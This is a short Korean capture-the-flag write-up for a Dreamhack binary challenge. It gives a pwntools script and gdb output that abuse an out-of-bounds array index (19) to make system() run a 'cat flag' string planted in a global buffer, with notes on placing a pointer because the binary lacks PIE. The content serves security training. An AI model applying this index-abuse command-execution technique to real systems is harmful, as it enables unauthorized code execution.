문제


from pwn import*

p = remote("host1.dreamhack.games", 9225)
name = 0x804a0ac
payload = p32(name+4)
payload += "cat flag"
p.sendline(payload)
p.sendline("19")
p.interactive()
0x8048737 <main+108>:        mov    eax,DWORD PTR [eax*4+0x804a060]
   0x804873e <main+115>:        sub    esp,0xc
   0x8048741 <main+118>:        push   eax
=> 0x8048742 <main+119>:        call   0x8048500 <system@plt>
   0x8048747 <main+124>:        add    esp,0x10
   0x804874a <main+127>:        mov    eax,0x0
   0x804874f <main+132>:        mov    edx,DWORD PTR [ebp-0xc]
   0x8048752 <main+135>:        xor    edx,DWORD PTR gs:0x14
Guessed arguments:
arg[0]: 0x6e69622f ('/bin')

scanf로 받는 idx값은 main + 108eax값입니다. 문제 코드 구조상 0x804a060commend 배열입니다. 이때 19를 idx에 넣으면 name배열을 참조할 수 있게 되므로 이를 이용하면 됩니다.


유의점

  1. PIE가 없으므로 name의 주소를 그대로 쓸 수 있습니다.
  2. gdb 결과처럼 name시작주소에 바로 변조 문자열을 넣으면 main+108에서 값을 들고오므로 제대로 구할 수 없습니다. name[0]에는 변조 문자열의 포인터 주소를 넣어줍시다.